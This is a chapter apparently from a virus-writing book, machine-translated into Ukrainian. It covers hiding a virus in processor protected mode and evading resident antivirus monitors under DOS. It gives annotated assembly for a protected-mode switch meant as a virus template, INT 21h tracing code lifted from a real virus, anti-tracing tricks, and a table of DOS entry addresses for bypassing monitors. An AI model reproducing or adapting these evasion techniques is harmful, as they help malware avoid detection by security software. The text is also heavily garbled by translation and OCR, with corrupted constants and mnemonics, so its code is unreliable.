У цьому розділі розказано, як
може бути захований вірус.
Описано методи конструювання-
нування прямого звернення
до DOS для "обману" резіден-
тних антивірусних моніторин-
рів. Розглянуто віруси,
заражають Flash BIOS. Пред-
ставлени вихідні тексти
програм з докладними ком-
коментарями.
Protected Mode - укриття для вірусу
Персональні комп'ютери рік у рік стають все складніше і складність
неї, використовують все більш високі апаратні і програмні техноло-
гии. Комп'ютерні віруси теж не відстають і намагаються пристосуватися
до нових умов проживання. Так, віруси навчилися заражати завантажувальному-
ні сектори дисків, файли для операційних систем DOS, Windows,
Windows 95, OS / 2, Linux і навіть документи Word, Excel, і MS-Office 97.
Приховуючи свою присутність в системі, вони стали невидимками, або
стелс-вірусами. Вони навчилися бути поліморфними для того, щоб
їх розпізнавання стало ще більш важким завданням для розробників
антивірусних засобів. З появою процесорів i386 віруси стали
використовувати в своєму коді 32-розрядні інструкції. В даний вре-
ма поліморфні віруси використовують 32-розрядні розшифровуючи
команди у своєму декріпторе.
Одним словом, віруси хочуть вижити і перемогти. Для цього вони викорис-
товують всі нові можливості, як програмні, так і апаратні. Але
захищений режим роботи, що з'явився разом з процесором i286,
до недавнього часу вірусам ніяк не вдавалося "приручити". Вірніше,
були "проби пера", але реального вирішення цього завдання вони не дали.
Завантажувальний вірус PMBS, першим намагався освоїти захищений ре-
жим (1994 р.), не міг ужитися з жодною програмою або драйвером
(EMM386, Windows, OS / 2 ,...), які також використовували у своїй робо-
ті захищений режим. Віруси Evolution.2761 і Evolution.2770 (теж
1994 р.) використали тільки частину потужного захищеного режиму і толь-
ко в той час, коли процесор працював в реальному режимі. Дані виру-
си замінювали реальну таблицю векторів переривань на власну.
Але ось, схоже, проблема близька до розв'язання: у Росії в "дикому"
вигляді виявлений файловий вірус PM.Wanderer, що використовує захисту пра-
щенний режим. Причому він більш-менш коректно і стабільно вза-
імодействует з іншими програмами і драйверами, також використовую-
щими захищений режим.
PM.Wanderer є резидентним поліморфним вірусом, використовують-
ючим захищений режим процесорів i386-Pentium. Для установки
своєї резидентної копії в пам'ять і перемикання в захищений ре-
жим процесора (Protected Mode) вірусом використовується документують-
ний інтерфейс VCPI (Virtual Control Program Interface) драйвера
розширеної пам'яті EMS (EMM386).
При старті інфікованої програми вірусний поліморфний дек-
ріптор розшифровує основне тіло вірусу і передає йому управ-
ня. Далі основний вірусний код виділяє ділянку пам'яті у верхніх
адресах, копіює в нього власний код і передає йому управління.
Потім він відновлює код інфікованого файлу в програмному
сегменті (для ЕХЕ-файлів також робить налаштування адрес пере-
тi, що розмiщенi елементів) і приступає до безпосереднього впровадження
в пам'ять своєї резидентної копії. .
У першу чергу вірус намагається вьисніть, чи встановлений у системі драй-
вер EMS. Якщо цей драйвер не встановлений або вірусна резидентна ко-
пия вже знаходиться в пам'яті, вірус віддає управління програмі-вирусо-
носію, закінчуючи тим самим свою "життєдіяльність" у системі.
Якщо ж "умови середовища проживання" сприяють, вірус виконува-
ет ряд підготовчих операцій для виділення пам'яті під своє тіло
і виробляє переключення процесора в захищений режим роботи
з найвищим рівнем привілеїв - режим супервізора.
У захищеному режимі вірус встановлює дві апаратні контрольні
точки на адреси входу в обробник переривання INT 21h (функції DOS)
і переходу на процедуру перезавантаження комп'ютера. Крім того, вірус
коригує дескрипторних таблицю переривань таким чином, щоб
на переривання INT 1 (особливий випадок налагодження) і INT 9 (клавіатура) ус-
Вставте власні дескриптори обробників переривань.
Після цих приготувань вірус копіює свій код в сторінку пам'яті,
отриману ним ще до входу в захищений режим, і виробляє пере-
ключення процесора назад у віртуальний режим роботи. Потім він
починає процедуру звільнення раніше виділеної пам'яті DOS
у верхніх адресах і повертає управління інфікованої програмі.
З цього моменту інфікована програма починає свою основну
роботу, а в захищеному режимі виявляються встановленими вірус-
ні обробники - пастки на INT 1 і переривання від клавіатури на
INT 9. З їх допомогою вірус контролює, по-перше, всі виклики фун-
кцій DOS, по-друге, всі натиснення клавіш на клавіатурі, і, по-третє,
спроби м'якого перезавантаження комп'ютера. У свою чергу, такий конт-
роль забезпечує вірусу можливість як надійно реагувати на низку
цікавлять його подій при роботі програми, так і постійно
перевіряти стан двох своїх контрольних точок і за необхідно-
сти відновлювати їх.
Зокрема, якщо вірус виявляє, що даний виклик йде
від його "побратима", він просто повертає деяке умовне значення,
що грає роль відкликання "я - свій". Таким чином, вірус, який намагався
з'ясувати наявність своєї копії в пам'яті, буде поінформований про те,
що пам'ять вже інфікована.
Якщо вірус виявляє спробу отримання адреси переривання INT 6
(Зазвичай такий виклик існує в усіх програмах, написаних на
мовах високого рівня, наприклад С, Pascal), то він 1 "'1тается знайти
в адресному просторі деяку послідовність байт, очевидно
належать програмі ADinf, але якоїсь старої версії. До речі,
за інформацією розробника ADinf Дмитра Мостового, за останній
рік у версіях ADinf не міститься така послідовність. Якщо дано-
ва послідовність вірусом знайдена, він певним чином
модифікує знайдений код, щоб управління не потрапляло на виклик
межсегментной процедури, яка демонструє користувачеві знайдені
на диску або у файлах зміни.
Якщо ж вірус виявляє запит на запуск програми або відкриття
файлу (тільки на читання), то розуміє, що настав час "великої
полювання ". Вірус копіює свій код в старші адреси віртуального про-
цесу DOS-машини, перемикає процесор у віртуальний режим
і віддає управління свого коду (процедури зараження).
У віртуальному режимі вірус перевіряє останні дві букви розширенням-
ня імені файлу (ОМ або ХО), створює свою поліморфну копію
і заражає файли розміром більше 4095 байт. Файли, що містять
в полі значення часу створення 34 секунди, вірус не заражає, вва-
тая їх вже інфікованими. Коригування атрибутів файлів вірус
не виробляє, тому всі файли, помічені як "тільки для чте-
ня ", заражені не будуть. Також вірус не заражає програми, ім'я ко-
торих складається з 7 літер. Імена даних програм з'ясувати не вдалося,
так як вірус не визначає їх імена явно, а підраховує CRC име-
ні. Вірус не бере на себе обробку критичних помилок, тому при
спробі запису на захищений диск у процесі зараження з'явиться
стандартне запитання DOS (... Retry, Ignore, Fail, Abort).
При зараженні файлів вірус використовує прямий виклик ядра обработчі-
ка DOS INT 21h. Адреса цього ядра він з'ясовує при трасуванні INT 21h
під час своєї установки в пам'ять. Вірусний код впроваджується в початок
СОМ-або в середину ЕХЕ-файла (відразу ж після заголовка). Оригі-
нальний програмний код запам'ятовується в кінці файлу. Реальний
робочий код вірусу складає 3684 байт, але на практиці інфікований-
ні файли мають збільшення довжини більш 3940 байт. У тілі вірусу
міститься текст "WANDERER".
Виявити резидентну копію даного вірусу, що знаходиться в нулі-
вом кільці захищеного режиму процесора, звичайними способами не-
можливо. Для цього необхідно перемикатися в захищений режим
з найвищими привілеями і виробляти його пошук. Але спробувати
виявити ознаки вірусу в системі можна і звичайними способами.
Після виявлення вірусу рекомендується, як і завжди в таких випад-
ях, перезавантажитися з системної дискети і виконати лікування в заведи-
мо стерильних умовах. Правда, цей вірус не є Stealth-ви-
русом, і його лікування допустимо навіть при активному вірус.
Тепер трохи про результати тестування. При зараженні неяк-
ких тисяч файлів-жертв вірус проявив себе як "мешканець" - все зара-
ковими файли виявилися працездатними. Тут треба зробити по-
правку - файли можуть виявитися непрацездатними в тому випадку,
якщо їх стек після зараження опиниться в області вірусного коду.
PM.Wanderer при зараженні файлів не коригує значення стар-
вих SS: SP в ЕХЕ-заголовку. Як вже зазначалося вище, він зберігає
здатність до відтворення тільки в тому випадку, якщо в системі уста-
новлено драйвер EMS (EMM386). При встановленому драйвері EMM386
з ключем NOEMS вірус перезавантажує комп'ютер. Перезавантаження також
можлива, якщо в системі використовується драйвер QEMM386.
Найцікавіше, що якщо в системі знаходився резидентний вірус,
а потім відбулася завантаження Windows 3.1 або Windows 95, то вірус не
зможе розмножуватися в даних операційних середовищах, але при виході
в DOS він знову отримує управління і може "працювати, не покладаючи
рук ". Якщо ж вірус буде запущений в DOS-сесії Windows, то з-за
відсутність інтерфейсу VCPI вірус не зможе застосувати в примiщеннi-
щенний режим. При відсутності VCPI під OS / 2 вірус також нежізнес-
посібник.
Можливо, в недалекому майбутньому комп'ютерний вірус зможе полнос-
ма замінити своїм кодом програму-супервізора і сам буде підтри-
проживати інтерфейси DPMI, EMS / VCPI, XMS, INT 15h. Хто знає.
Наведена нижче програма дозволяє програмісту перевести про-
цессора в захищений режим. У цьому режимі вірус може, наприклад,
розшифрувати деякі дані.
Дана програма робить наступне:
- Створює таблиці GDT і LDT, використовуючи поточні значення
CS.DS.SS
- Забороняє всі переривання, відкриває лінію А20
для доступу до RAM> 1 Мбайт
- Переводить процесор у захищений режим
- В перший символ рядка qw заносить символ L
- Виходить у реальний режим
- Дозволяє переривання, закриває А20-т
- Виводить на екран рядок qw ("Light General")
- Вихід у DOS
.286
. Model tiny
. Code
org 100h
Визначення для захищеного режиму роботи програми
; Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0
desc_struc ENDS
ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob
DATA_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob
CODE_ACC = ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b
STACK_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob
; Розміри сегментів (реальні розміри на одиницю більше)
CSEG SIZE = 65535
DSEG_SIZE = 65535
STACK_SIZE = 65535
[Зсуви використовуваних дескрипторів
CS_DESCR = (gdt_cs-gdt_0)
DS_DESCR = (gdt_ds-gdt_0)
SS_DESCR = (gdt_ss-gdt_0)
; Константи значень портів?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:
. Ініціалізіруем необхідні дані для переходу
; В захищений режим
call init_protected_mode
[Переходимо в захищений режим
call set_protected_mode
; Тепер комп'ютер працює в захищеному режимі!
; Так як таблиця переривань реального режиму не може бути
використана в захищеному, переривання заборонені!
; Саме тут можна вставити інструкції, потрібні вірусу
. Повертаємося в реальний режим
call set_real_mode
[Друкуємо повідомлення "Light General"
mov ah, 09h
lea dx.qw
int 21 h
; Виходимо в DOS
mov ax, 4COOh
int 21 h
[Макрокоманда для встановлення адреси для дескриптора
; В глобальній таблиці дескрипторів GDT.
; На вході регістри DLAX повинні містити
. Абсолютний адресу сегмента
setgdtentry MACRO
mov [desc_struc.base_l] [bx], ax
mov [desc_struc.base_h] [bx], dl
ENDM
• <
; Процедура ініціалізації необхідних даних
. Для переходу в захищений режим
init_protected_mode PROC
обчислюємо абсолютний адресу для сегмента даних
; У відповідності зі значенням регістру DS
mov ax.ds
mov dl.ah
shr dl, 4
shi ax, 4
; Встановлюємо адресу сегменту даних
; В глобальній таблиці дескрипторів
mov bx, offset gdt_ds
setgdtentry
; Обчислюємо абсолютний адресу для сегменту GDT: додаємо
; До вже обчисленому абсолютною адресою сегменту даних
; Зміщення у ньому таблиці дескрипторів
add ax, offset gdtr
adc dl.0
Зупиняємо адресу сегмента GDT
; В глобальній таблиці дескрипторів
mov bx.offset gdt_gdt
setgdtentry
; Обчислюємо абсолютний адресу для сегмента коду
; У відповідності зі значенням регістра CS
mov ax, cs
mov dl.ah
shr dl, 4
shi ax, 4
. Встановлюємо адресу сегмента коду
; В глобальній таблиці дескрипторів
mov bx, offset gdt_cs
setgdtentry
[Обчислюємо абсолютний адресу для сегменту стека
; У відповідності зі значенням регістру SS
mov ax.ss
mov dl.ah
shr dl, 4
shi ax, 4
Зупиняємо адресу сегмента стека
; В глобальній таблиці дескрипторів
mov bx, offset gdt_ss
setgdtentry
Перехоплюємо рестарт. Оскільки процесор i286 (а ця програма
[Розрахована саме на такий процесор) не має можливості
; Повернення в реальний режим із захищеного, повернення в реальний
режим будемо виробляти наступним чином: перехопимо рестарт,
. Сгенерируем CPU Reset, після якого отримаємо управління, коли
Процесор буде знаходиться вже в реальному режимі. На процесорі
; I386 повернення в реальний режим відбувається
[Значно простіше й "природніше".
push ds
mov ax, 40h
mov ds, ax
mov word ptr ds: [0067h], offset shutdown_return
mov word ptr ds: [0069h], cs
pop ds
[Забороняємо Масковані переривання
cli
in al, INT_MASK_PORT
or al.OFFh
out INT_MASK_PORT, al
[Забороняємо немаскируемого переривання. Дана послідовність
; Команд не забороняє "незапрещаемие" переривання в процесорі
[(Цього зробити за визначенням не можна), а "не пускає" сигнал
[Немаскируемого переривання до процесора
mov al, 8Fh
out CMOS_PORT, al
jmp $ +2
mov al, 5
out CMOS_PORT +1, al
ret
init_protected_mode ENDP
[Підпрограма, переводить процесор у захищений режим
set_protected_mode PROC
. Відкриваємо адресну лінію А20 для доступу понад 1Мбайт.
; При закритій лінії адресний простір
["Зациклюється" в межах 1Мбайт
call enable_a20
. Зберігаємо значення регістра SS для реального режиму
mov real_ss, ss
[Переводимо компілятор Turbo Assembler в покращений режим.
[IDEAL - це не команда і не оператор, це директива, що впливає
[Тільки на інтерпретацію подальших рядків лістингу
ideal
р286
[Завантажуємо регістр глобальної таблиці дескрипторів GDTR
Igdt [QWORD gdt_gdt]; db OFh, 01h, 16h dw offset gdt_gdt
[Переводимо процесор у захищений режим
mov ax, 0001h
Imsw ax; db OFh, 01h, FOh
[Переводимо компілятор Turbo Assembler тому в режим MASM
masm
.286
[Виробляємо довгий перехід для того,
. Щоб очистити внутрішню чергу
. Команд процесора
jmp far flush
db OEAh
dw offset flush
dw CS_DESCR
flush:
Зупиняємо в регістр SS селектор сегмента стека
mov ax, SS_DESCR
mov ss.ax
; Встановлюємо в регістр DS селектор сегменту даних
mov ax, DS_DESCR
mov ds.ax
. Записуємо в рядок qw символ "L" і виходимо з підпрограми
mov byte ptr ds: [off set qw +2], "L"
ret
set_protected_mode ENDP
Підпрограма, що повертає процесор в реальний режим
set_real_mode PROC
[Зберігаємо значення регістра SP для реального режиму
mov real_sp, sp
. Виконуємо CPU Reset (рестарт процесора)
mov al, SHUT_DOWN
out STATUS_PORT, al
; Чекаємо, поки процесор перезапуститься
wait_reset:
hit
jmp wait_reset
; C цього місця програма виконується після перезапуску процесора
shutdown_return:
; Встановлюємо регістр DS відповідно до регістром CS
push cs
pop ds
відновлюємо покажчики на стек
; За раніше збереженим значенням
mov ss, real_ss
mov sp, real_sp
[Закриваємо адресну лінію А20
call disable_a20
. Дозволяємо немаскируемого переривання
mov ax.OOOdh
out CMOS_PORT, al
[Дозволяємо Масковані переривання
in al, INT-MASK_PORT
and al, 0
out INT_MASK_PORT, al
sti
ret
set_real_mode EN DP
[Процедура, що відкриває адресну лінію А20. Після відкриття
[Адресної лінії програмами буде доступна пам'ять понад 1Мбайт
enable_a20 PROC
mov al, A20_PORT
out STATUS_PORT, al
mov al, A20_ON
out KBD_PORT_A.al
ret
enable_a20 ENDP
[Процедура, що закриває адресну лінію А20. Після закриття
[Адресної лінії програмами буде недоступна пам'ять понад 1Мбайт.
[Адресний простір буде "зацикленим" в межах 1Мбайт
disable_a20 PROC
mov al.A20_PORT
out STATUS_PORT, al
mov al, A20_OFF
out KBD_PORT_A, al
ret
disable_a20 ENDP
[Тут зберігається адреса стека
real_sp dw?
real_ss dw?
[Цей рядок виводиться на екран після роботи програми
[Символ "?" замінюється на "L" в захищеному режимі
qw db 13,10, "? ight General", 13,10, "$"
; Глобальна таблиця дескрипторів. Нульовий дескриптор
обов'язково повинен бути "порожнім"
GDT_BEG = $
gdtr label WORD
gdt_0 desc_struc
gdt_gdt desc_struc
gdt_ds desc_struc
gdt_cs desc_struc
gdt_ss desc_struc
GDT_SIZE = ($-GDT_BEG)
END start
Обхід резидентних антивірусних моніторів
Зазвичай всі програми використовують сервіс DOS так:
mov ah, ...
int 21 h
За командою INT управління передається в точку, адреса якої визначаються-
ється двома словами, що знаходяться в таблиці векторів переривань
за адресою 0000h: 0084h. З цього моменту починається виконання команд
численних обробників переривання INT 21h і не менш численними
лених резидентних програм до тих пір, поки управління, нарешті,
не отримає оригінальний обробник операційної системи (рис. 5.1.):
Зрозуміло, серед цих численних обробників може "затесатися"
обробник, що належить антивірусному монітора, який не дає
спокійно працювати не тільки вірусам, але і звичайних програм.
Тому серйозні віруси і деякі добре написані програми
намагаються визначити адресу оригінальному обробника і звернутися
до нього безпосередньо, в обхід решти обробників:
mov ah, ...
pushf
call dword ptr 021
021 dw?
S21 dw?
Але антивірусні монітори враховують цю можливість і приймають
свої заходи.
Визначення адреси оригінальному обробника DOS
Для того щоб звернутися до DOS безпосередньо, потрібно знати адресу оригі-
нального обробника. Отримати цю адресу не так просто.
Метод трасування
Найчастіше використовується метод трасування за допомогою отладочного
переривання INT 1. Суть методу полягає в тому, що вірус трасує-
ет переривання INT 21h (включає прапор трасування, при цьому після
кожної команди відбувається переривання INT 1) і перевіряє значення
сегмента, у якому йде обробка переривання. Якщо значення сег-
та менше ОЗООЬ, то це обробник DOS. Наприклад, так робив мно-
го років тому вірус Yankee 2C (М2С, Музичний). Ось лістинг відповід-
ветствующего фрагмента з коментарями:
; Беремо з таблиці векторів переривань поточний адресу INT 01 h
mov ax, 3501 h
int 21h
mov si.bx; зсув зберігаємо в регістрі SI
mov di.es; сегмент зберігаємо в регістрі DI
Зупиняємо свій оброблювач INT 01h
mov ax, 2501h
mov dx, offset lnt01
int 21h
; Формуємо в стеку адресу виходу з трасування так, щоб по IRET
; З INT 21h потрапити на мітку Next - поміщаємо в стек
. Послідовно прапори, сегмент і зсув мітки Next
pushf
push cs
mov ax, offset Next
push ax
; Починаємо трасування INT 21 h. Для цього потрібно підготувати стек
; Наступним чином: помістити в нього прапори з включеним прапором
; Трасування, а також сегмент і зсув поточного обробника
; INT 21 h. Потім можна виконати команду IRET - програма запустить
. Поточний обробник і вважає з стека прапори (прапор трасування
, По флагової регістрі включиться, почнеться трасування. Після
. Кожної команди процесора буде запускатися INT 01 h).
; Розміщуємо в стек прапори, включаємо в них біт, відповідний
; Прапору трасування TF. Для того, щоб включити прапор
. Трасування TF, після збереження прапорів у стеку вважаємо їх
; В регістр АХ, в ньому включимо відповідний біт, а потім
. Збережемо регістр АХ в стеку
pushf
pop ax
or ax, 0100h
push ax
; Вважаємо з таблиці векторів переривань поточний адресу INT 21 h
mov ax, 3521 h
int 21 h
[Збережемо в стеку сегмент, а потім і зміщення поточного обробника
push es
push bx
[Встановимо в регістрі АН номер будь-якої невинною функції
; (Щоб визначення адреси обробника DOS
; Не супроводжувалося руйнуванням)
mov ah.OBh
. Запускаємо трасування
cli
iret
[Оброблювач INT 01 h
lnt01:
; При виклику обробника в стеку знаходяться: значення регістра IP,
; Значення регістра CS, прапори перед перериванням.
[Адресуємося до стека за допомогою регістра ВР,
[Попередньо зберігши поточне значення ВР
push bp
mov bp.sp
; Тепер в стеку знаходяться:
; SS: [BP] - ВР
; SS: [BP +2] - IP
; SS: [BP +4] - CS
; SS: [BP +6] - прапори
; Перевіряємо прапор продовження
cmp byte ptr cs: ContinueFlag, 1
; Якщо прапор продовження вимкнений, то виходимо з трасування
jne TraceOff
[Перевіряємо поточний адресу. Якщо сегмент менше 300h,
обробник DOS досягнуто, інакше - продовжуємо трасування
; І виходимо з обробника
cmp word ptr [bp +4], 300h
jnc ExitFromInt
[Досягнуто DOS - беремо із стека адресу обробника і зберігаємо його
push bx
mov bx, [bp +2]
mov word ptr cs: 021, bx
mov bx, [bp +4]
mov word ptr cs: S21, bx
pop bx
. Закінчуємо обробку переривання і подальшу трасування
TraceOff:
[Встановлюємо в нуль біт, відповідний TF,
; В копії регістра прапорів у стеку
and word ptr [bp +6], OFEFFh
[Встановлюємо в нуль прапор продовження
mov byte ptr cs: ContinueFlag, 0
ExitFromInt:
pop bp
. Виходимо з обробника
i ret
[Відновлення після трасування
Next:
[Скидаємо прапор продовження
mov byte ptr ds: ContinueFlag, 0
[Відновлюємо колишнє значення вектора переривання INT 01 h
mov ax, 2501 h
mov dx.si
mov ds.di
int 21 h
В даний час цей алгоритм можна вважати дещо заста-
шим. Справа в тому, що сучасні версії DOS можуть розміщувати свій
обробник в областях верхньої пам'яті. Тому умова закінчення
трасування має виглядати, наприклад, так:
cmp word ptr [bp +4], 300h
jb loc_65
cmp word ptr [bp +4], OFOOOh
ja loc_65
В якості альтернативного варіанту можна використовувати такий прийом.
Спочатку визначається вихідний сегмент DOS за допомогою недокумен-
тованої функції 52h переривання INT 21h (повертає адресу століття-
торної таблиці зв'язку DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тоді умова завершення трасування можна оформити таким
чином:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp +6], ax
pop ax
jz DOSIsGot
Зрозуміло, різні прийоми можуть дати різні результати. Причому всі
результати можна вважати в тій чи іншій мірі коректними. Справа
в тому, що сучасні версії DOS, навіть будучи завантаженими в верх-
нюю пам'ять, завжди мають точку входу в нижній пам'яті види:
пір
пір
[Перевірка стану адресної лінії А20
call Check_A20
[Перехід у верхню пам'ять
jmp cs: dword ptr HI_DOS
З точки зору обходу резидентних моніторів "правильним" слід
визнати адреса в обробнику DOS, що має максимальне значення.
Ми ще повернемося до питання про знаходження "правильного" адреси далі.
Автори антивірусних моніторів знають про подібний прийомі пошуку ори-
гінального адреси DOS. Досить легко зіпсує трасування, на-
приклад, от такий от фрагмент, вбудований в ланцюжок обробників:
. Викликаємо обробник переривання INT 60h (до цього моменту
[Переривання INT 60h повинно бути перехоплено)
int 60h
; Сюди потрібно повернутися з переривання
пір
[Сюди реально повернемося, і прапор трасування буде скинуто,
; Тобто трасування буде припинена
пір
[Обробник переривання. При виклику переривання прапор трасування
. Скидається - при вході в обробник трасування буде виключена
lnt60:
[Дозвіл переривань, тому що при виході з обробника НЕ
[Буде відновлюватися оригінальне значення регістра прапорів
sti
[Збільшуємо на одиницю адресу повернення в стеку
push bp
mov bp, sp
add [bp +2], 1
pop bp
[Виходимо з переривання, але не командою IRET, а командою RETF 2,
. Щоб не відновлювати прапори (і, як наслідок,
. Прапор трасування TF)
retf 2
Крім того, факт трасування можна досить просто знайти,
застосувавши добре відомий розробникам захистів від несанкціонований-
ного копіювання прийом апаратного конвеєра, який використовує
процесор для прискорення роботи. При виконанні чергової команди
процесор зчитує код наступної. Коли прийде час виконання
наступної команди, вона буде вже зчитана з пам'яті, і не потрібно бу-
дет витрачати час на її читання. Прийом полягає в модифікації ко-
манд, які вже опинилися в конвеєрі: якщо трасування не ведеться,
то код команд модифікується тільки в пам'яті, а виконується та про-
грама, яка знаходиться в конвеєрі. Якщо трасування ведеться, то
конвеєр скидається перед кожною командою трассируемого програм-
ми (конвеєр скидають такі команди, як JMP, CALL, RET) і ви-
ся модифікований код.
Кодіфіціруем наступну команду. Команда JMP (безумовний
; Перехід) замінюється на дві команди NOP (немає операції)
mov Metka, 9090h
Переходимо, якщо виконується не модифікований код (у разі,
; Коли трасування не ведеться), і проходимо далі, якщо виконується
кодифікований код (у разі трасування)
Metka: jmp NoTrace
Trace:
; Сюди потрапимо при виявлений факт трасування
NoTrace:
Трасування не ведеться - нормальне виконання програми
Нарешті, останній цвях у домовину ідеї використання трасування за-
біт: "Виставлений прапор трасування можна виявити побічно, замас-
кіровав апаратні переривання, помістивши в [SP-1] контрольне значен-
ня і давши інструкцію STI. Тоді по зміні слова в стеку можна
судити, було трасувальні переривання чи ні ".
Виявивши факт трасування переривання DOS, монітори починають видав-
вать про це відповідні повідомлення, тому навіть не самий
досвідчений користувач здогадається, що хтось (наприклад, вірус) катує-
ся потрапити в систему.
Метод предопределенньш адрес
Переходимо до методу визначення оригінальному адреси точки входу
в DOS, заснованому на тому, що ці адреси для різних версій і конфі-
гурацій DOS мають у загальному випадку різні значення, але число
їх обмежена. А це значить, що їх можна просто-напросто вибирати
з таблиці (причому не дуже великий). Прийом не новий, але незаслу-
женно забутий.
Маючи програму, засновану на одному з раніше описаних способів
визначення реальної адреси обробника DOS, завантажувальні дискети
з різними версіями DOS і трохи терпіння, можна отримати при-
мірно ось таку інформацію.
Оригінальний обробник DOS версії 3.30 завжди має вигляд:
. Точка Про
2Е CS:
891ЕВ800 MOV [ООВ8], ВХ
2Е CS:
8С06ВАОО MOV [OOBA], ES
СВ RETF
. Точка 1
2Е CS:
3A26FFOD СМР AH, [ODFF]
77DC JA 1443
80FC51 СМР АН, 51
74А1 JZ 140D
80FC64 СМР АН, 64
74ВА JZ 143A
; Крапка 2
Оригінальні обробники DOS версій 5.0-7.0 дуже схожі.
У загальному випадку вони складаються з наступних фрагментів:
Фрагмент 1 (якщо він присутній) завжди розташовується в нижніх ад-
ресах пам'яті. Більшість алгоритмів трасування закінчують робо-
ту, досягнувши цієї точки. Для DOS версій 5.0-6.22 цей фрагмент при-
відсутній, якщо в CONFIG.SYS є рядок DOS = HIGH (поза
Залежно від того, чи здійснюється запуск підтримує цю
опцію драйвера HIMEM.SYS). Якщо драйвера немає, то JMP FAR просто
вказує на фрагмент 2, що розміщується в нижніх областях пам'яті.
Якщо рядки DOS = HIGH немає, то фрагмент 1 виродилися (складається з од-
ної команди внутрішньосегментного переходу), і обробник складається
з фрагмента 2.
; Крапка Про
90 МОР
90 NOP
E8CCOO CALL CheckA20
2E CS:
FF2E6A10J MP FAR NEXTDOS
Фрагмент 2 може розташовуватися як у верхніх, так і в нижніх адре-
сах пам'яті.
; Точка 1
NEXTDOS:
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO
80FC50 СМР АН.50
748Е JZ 40A9
; Крапка 2
Для DOS 7.0 структура обробника, загалом, така ж. Виняток -
фрагмент 1 присутня завжди, незалежно від вмісту фай-
ла CONFIG.SYS. Тепер наведемо конкретні значення адрес, напів-
ченние для різних випадків:
DOS 7.0 (російська версія)
Точка Про OOC9: OFB2 9090
Точка 1 FF03: 41E7 80FA
Крапка 2 FF03: 420A 1E06
Точка 2А FF03: 5333 2ACD
DOS 6.20
device = himem. sys
dos = high
Точка Про 0123:109 Е 9090
Точка 1 FDC8: 40F8 80FA
Крапка 2 FDC8: 411B1E06
Точка 2А FDC8: 41D12ACD
DOS 6.20
dos = high
Точка Про 0123:109 Е ОЗЕВ
Точка 1 03AC: 40F8 80FA
Крапка 2 ОЗАС: 411В 1Е06
Точка 2А 03AC: 41D1 2ACD
DOS 6.20
Точка 1 002A: 40F8 SOFA
Крапка 2 002А: 411В 1Е06
Точка 2А 002A: 41D1 2ACD
DOS 5.0
device = himem. sys
dos = high
Точка Про 0123:109 Е 9090
Точка 1 FDC8: 40EB80FA
Крапка 2 FDC8: 410E 1Е06
Точка 2А FDC8: 41C42ACD
DOS 5.0
dos = high
Точка Про 0123:109 Е ОЗЕВ
Точка 1 03AC: 40F8 80FA
Крапка 2 ОЗАС: 411В 1Е06
Точка 2А 03AC: 41D1 2ACD
DOS 5.0
Точка 1 002А: 40ЕВ 80FA
Крапка 2 002А: 410Е 1Е06
Точка 2А 002A: 41D1 2ACD
DOS 3.30
Точка Про 0070:05 DC 892E
Точка 1 0294:1460 ЗА2Е
Крапка 2 0294:1480
Точка 2А 0294:151 У 2ACD
DOS 3.10
Точка О 0070: OD43
DOS 3.20
Точка 0 0070:17 DO
Крапка 2 є оптимальною, тобто в неї найдоцільніше пере-
давати управління, щоб обійти резидентні антивірусні монітори.
Точка 2А - це позиція інструкції INT 2Ah, яку DOS обов'язковим
але виконує в процесі обробки 21-го переривання.
У кінці кожного рядка наведено контрольні слова - на той випадок,
якщо за вказаною адресою знаходиться щось інше.
Боротьба з антивірусними моніторами
Сучасні антивірусні монітори вміють відстежувати факт прямо-
го обігу програм до DOS.
Захист 21-го переривання можна організувати більш ефективно, вико-
товуючи метод вбудовування в ядро операційної системи. Загальноприйнятих
тая схема така: в точку входу переривання INT 21h записується інстр-
рукція JMP FAR на обробник, який перевіряє номер функції на
безпеку. Він відновлює оригінальні інструкції в точці вхо-
та переривання і викликає обробник INT 21h. Після повернення управ-
ня з переривання, в точку входу знову записується інструкція JMP
FAR, і управління передається програмі, що викликала INT 21h.
Тут описаний звичайний "сплайсинг" (вбудовування), який широко
застосовується розробниками вірусів. Відзначимо, що для переходу не
обов'язково використовувати посібник JMP FAR (вона займає 5 байт
в пам'яті і не скрізь може бути розміщена). Замість неї можна примі-
нитка INT 3, витративши всього 1 байт. У той же час необхідно забезпе-
чить обробку викликів з кодами OOh, 4Ch, 31h (вони не повертають уп-
равленіе у вихідну точку), а також самовизовов (при завершенні
процесів за допомогою INT 27h і INT 20h).
Процес розвивається таким чином. Перший компонент антивірус-
ного монітора вбудовується в ядро DOS, а другий - просто перехоплюючи-
ет ланцюжок 21-го переривання. Коли програма виконує інструкцію
INT 21h, управління передається другому компоненту. У антивірусних
моніторів існує список функцій, які сприймаються ними
як небезпечні. Вони можуть зробити перевірку на наявність заданої функ-
ції в цьому списку, а потім виставити прапор "прохід ланцюжка" та передати
управління далі. Коли перший компонент отримує управління, він
перевіряє прапор "проходу ланцюжка". Якщо він виставлений, то була інстр-
рукція INT 21h, тому необхідно скинути прапор "прохід ланцюжка"
і передати управління в DOS. Якщо прапор скинутий, це значить, що був
5 - 1436
виконаний прямий виклик. У цьому випадку потрібно приймати відпо-
ціалу заходи проти можливих дій вірусу.
Ця ідея виключно проста і ефективна. У тому чи іншому вигляді її
застосовують майже всі сучасні антивірусні монітори. Ось один
з таких варіантів.
Після трасування переривання виконується звернення до DOS по
оригінального адресою. Програма AVPTSR перехоплює звернення.
Точніше, AVPTSR перехоплює INT 2Ah, причому цей виклик вироблена-
ден з INT 21h, поблизу початку фрагмента. Оброблювач INT 08h,
тобто таймера, періодично відновлює вектор 2Ah, якщо він
був відключений.
Мається на увазі, що прапор проходу ланцюжка 21-го переривання перевіряючі
